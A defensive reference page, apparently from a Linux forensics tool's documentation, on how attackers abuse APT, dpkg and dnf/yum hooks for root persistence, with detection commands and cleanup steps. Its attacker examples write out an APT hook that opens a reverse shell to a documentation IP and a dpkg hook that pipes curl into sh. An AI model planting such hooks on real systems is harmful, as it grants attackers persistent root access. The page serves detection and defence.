On package install
Package Manager Hooks: Linux Persistence via APT and DNF
How attackers abuse APT Pre-Invoke and Update hooks, dpkg invoke hooks and yum or dnf plugins to run code as root, and how to find and remove them.
- MITRE ATT&CK
- T1546.016
- Tactics
- Persistence, Privilege escalation
- Runs
- On package install
- Set up by
- root
- Locations
- /etc/apt/apt.conf.d/*
- /etc/dpkg/dpkg.cfg.d/*
- /etc/dnf/plugins/*.conf
- /etc/yum/pluginconf.d/*.conf
How it works
Package managers run as root and let configuration add commands around their work. Whoever can write that configuration gets code run as root at every update or install, by an administrator or by an automatic job.
APT and dpkg (Debian, Ubuntu)
APT reads the file named by APT_CONFIG if that variable is set, then the files of /etc/apt/apt.conf.d/ in alphanumeric order, then /etc/apt/apt.conf. Fragment names may only contain letters, digits, -, _ and ., and must have no extension or .conf; anything else is ignored. These keys hold lists of shell commands, run with /bin/sh as root:
| Key | Runs |
|---|---|
DPkg::Pre-Invoke, DPkg::Post-Invoke | Before and after each dpkg call during install, upgrade or removal; a failing Pre-Invoke aborts APT |
DPkg::Pre-Install-Pkgs | Before dpkg, with the .deb file names on stdin |
APT::Update::Pre-Invoke, APT::Update::Post-Invoke, APT::Update::Post-Invoke-Success | Around apt update; the last only when it succeeded |
No administrator is needed: apt-daily.timer refreshes package lists when APT::Periodic::Update-Package-Lists is set (Ubuntu's default, and wherever unattended-upgrades is configured), and apt-daily-upgrade.timer installs updates. Legitimate hooks are common: debconf's 70debconf, 50command-not-found, 99update-notifier.
dpkg has its own --pre-invoke= and --post-invoke= options, run via sh -c around dpkg runs that unpack, configure, remove or process triggers, with DPKG_HOOK_ACTION in the environment. Defaults come from /etc/dpkg/dpkg.cfg, /etc/dpkg/dpkg.cfg.d/ (only names made of letters, digits, _ and -) and the invoking user's ~/.dpkg.cfg, one option per line without the leading dashes.
yum and dnf (RHEL, Fedora)
yum (RHEL 7 and older) loads Python plugins from /usr/lib/yum-plugins when plugins=1 is set in /etc/yum.conf and the plugin's /etc/yum/pluginconf.d/<name>.conf says enabled=1. dnf 4 (RHEL 8 and later, Fedora up to 40) loads modules from site-packages/dnf-plugins/ configured in /etc/dnf/plugins/; its post-transaction-actions plugin runs commands listed in /etc/dnf/plugins/post-transaction-actions.d/*.action. dnf5 (Fedora 41 and later) has an actions plugin reading /etc/dnf/libdnf5-plugins/actions.d/*.actions. On Arch, pacman runs hooks from /etc/pacman.d/hooks/*.hook.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/apt/apt.conf.d/*, /etc/apt/apt.conf | APT configuration, including hooks | root |
/etc/dpkg/dpkg.cfg, /etc/dpkg/dpkg.cfg.d/* | dpkg default options, including invoke hooks | root |
~/.dpkg.cfg | Per-user dpkg options (/root/.dpkg.cfg for root) | the user |
/etc/yum/pluginconf.d/*.conf, /usr/lib/yum-plugins/*.py | yum plugin switches and code | root |
/etc/dnf/plugins/*.conf, /usr/lib/python3*/site-packages/dnf-plugins/*.py | dnf 4 plugin switches and code | root |
/etc/dnf/plugins/post-transaction-actions.d/*.action | dnf 4 command hooks | root |
/etc/dnf/libdnf5-plugins/actions.d/*.actions | dnf5 command hooks | root |
/etc/pacman.d/hooks/*.hook | pacman hooks | root |
How attackers use it
A shell at every apt update
// /etc/apt/apt.conf.d/01periodic-check
APT::Update::Pre-Invoke { "nohup /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.7/443 0>&1' >/dev/null 2>&1 &"; };
The trailing & keeps APT from waiting; the name sorts early and looks like a stock periodic file.
A hook that re-plants
DPkg::Post-Invoke runs after every package operation, including the ones an administrator runs while cleaning up. A hook that quietly restores a removed cron job, key or unit survives remediation:
DPkg::Post-Invoke { "[ -x /usr/local/lib/.cache/upd ] && /usr/local/lib/.cache/upd || true"; };
The || true matters: a failing hook makes APT report errors and draws attention.
dpkg invoke hooks
# /etc/dpkg/dpkg.cfg.d/local-hooks
post-invoke="/usr/bin/curl -fsS https://example.com/u.sh | /bin/sh"
Plugins and actions on RPM systems
A few lines of Python in a dnf or yum plugin run inside every transaction as root. The action files are simpler, package-glob:state:command:
# /etc/dnf/plugins/post-transaction-actions.d/sync.action
*:any:/usr/local/sbin/.sync >/dev/null 2>&1 &
Packages themselves
A locally built .deb or .rpm whose postinst or %post script plants the payload, or recreates it on every upgrade, uses the same trust. On Debian, apt list --installed marks packages that no configured repository provides with local; dnf shows them as installed from @commandline.
How to check a host
On a live host
apt-config dump | grep -iE 'invoke|install-pkgs' # the merged configuration APT will use
grep -rniE 'invoke|install-pkgs' /etc/apt/apt.conf /etc/apt/apt.conf.d/ 2>/dev/null
grep -rniE '^\s*(pre|post)-invoke' /etc/dpkg/dpkg.cfg /etc/dpkg/dpkg.cfg.d/ /root/.dpkg.cfg 2>/dev/null
dpkg -S /etc/apt/apt.conf.d/* /etc/dpkg/dpkg.cfg.d/* 2>&1 | grep 'no path found'
dpkg -V # changed packaged files; 'c' marks conffiles
apt list --installed 2>/dev/null | grep ',local\]'
journalctl -u apt-daily.service -u apt-daily-upgrade.service
# RHEL / Fedora
grep -rs '^enabled' /etc/dnf/plugins/ /etc/yum/pluginconf.d/
ls -la /etc/dnf/plugins/post-transaction-actions.d/ /etc/dnf/libdnf5-plugins/actions.d/ 2>/dev/null
rpm -qf /etc/dnf/plugins/*.conf /usr/lib/python3*/site-packages/dnf-plugins/*.py | grep 'not owned'
rpm -Vf /etc/dnf/plugins/*.conf
dnf list --installed | grep '@commandline'
apt-config dump only prints; it is the quickest way to see every hook that will run, including ones in files whose names you would skim past.
Offline or from a collection
Read every file in apt.conf.d and dpkg.cfg.d and apply the name rules above: a file APT or dpkg ignores is not a live hook, but may be a decoy or staging copy. Compare each against the dpkg database: ownership from /var/lib/dpkg/info/*.list, packaged checksums from *.md5sums and the Conffiles: fields of /var/lib/dpkg/status. /var/log/apt/history.log, /var/log/dpkg.log and, on RPM systems, /var/log/dnf.rpm.log show when package operations ran, which is when the hooks fired. On RPM hosts use rpm -Vf and rpm -qf against the image's own database.
Linux Persistence reads apt.conf.d, dpkg.cfg.d and the yum and dnf plugin configuration offline from the collection command archive and checks each file against the dpkg database.
What Linux Persistence flags
For /etc/apt/apt.conf and apt.conf.d, the parser understands APT syntax (A::B "v";, the A::B:: "v"; list form apt-config dump prints, nested braces, //, # and /* */ comments) and makes one entry per command under a key ending in Pre-Invoke, Post-Invoke, Post-Invoke-Success or Pre-Install-Pkgs. For dpkg.cfg and dpkg.cfg.d, each pre-invoke or post-invoke line is an entry. A yum or dnf Python plugin is one entry, scanned whole; a plugin .conf is listed with its enabled state and no flags.
- Downloads and runs code, Reverse or bind shell, Decodes and runs a payload: the command fetches and runs code, opens a shell on a socket, or decodes a payload into an interpreter (high).
- Interpreter with inline code:
python -c,perl -eor similar in a hook command (medium). - Embedded encoded blob: a long base64 or hex string in a hook or a plugin module (medium).
- Runs from a temporary folder (high) and Runs from a hidden folder (medium): the hook calls something under
/tmp,/var/tmp,/dev/shmor a dot-named path. - Detaches from the session:
nohup,setsidorscreen -dmin the hook (low). - Not installed by any package: an unowned file in
apt.conf.dordpkg.cfg.d(low).20auto-upgradesand90curtin-aptproxy, written by installers, are exempt. - Differs from package package: a packaged hook file, such as
70debconf, whose checksum changed (low). - Changed date: modified within 7 days before the newest file in the collection (low).
- program also runs from mechanisms: the hook's program is also started by another mechanism (medium).
Hits inside unmodified packaged files are shown as info, so Debian's own hooks stay visible without raising alarms.
Limits: package checks use the dpkg database only, so RPM hosts get no ownership or checksum flags. dnf 4 and yum action files (/etc/dnf/plugins/post-transaction-actions.d/*.action, /etc/yum/post-actions/*.action) and dnf5 actions (/etc/dnf/libdnf5-plugins/actions.d/*.actions) are read, one entry per command; pacman hooks, ~/.dpkg.cfg, files named by APT_CONFIG and maintainer scripts are not read, and the collection command does not archive plugin code under /usr/lib; add it if you need it.
Cleaning up
- Preserve the hook file with its times (
cp -a), hash it, and keephistory.log,dpkg.logand the journal ofapt-daily*.service: they date every run. - Remove the planted file, or restore a modified conffile from its package (
apt install --reinstall -o Dpkg::Options::=--force-confask <pkg>asks before replacing changed conffiles). Check withapt-config dumpthat the hook is gone before running any other package operation. - A re-planting hook means other persistence existed: review cron, systemd timers, units, keys and MOTD scripts, then remove them in one pass.
- Remove locally installed packages that no repository provides after reading their maintainer scripts.
- Rotate root-readable secrets: the hooks ran as root.
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: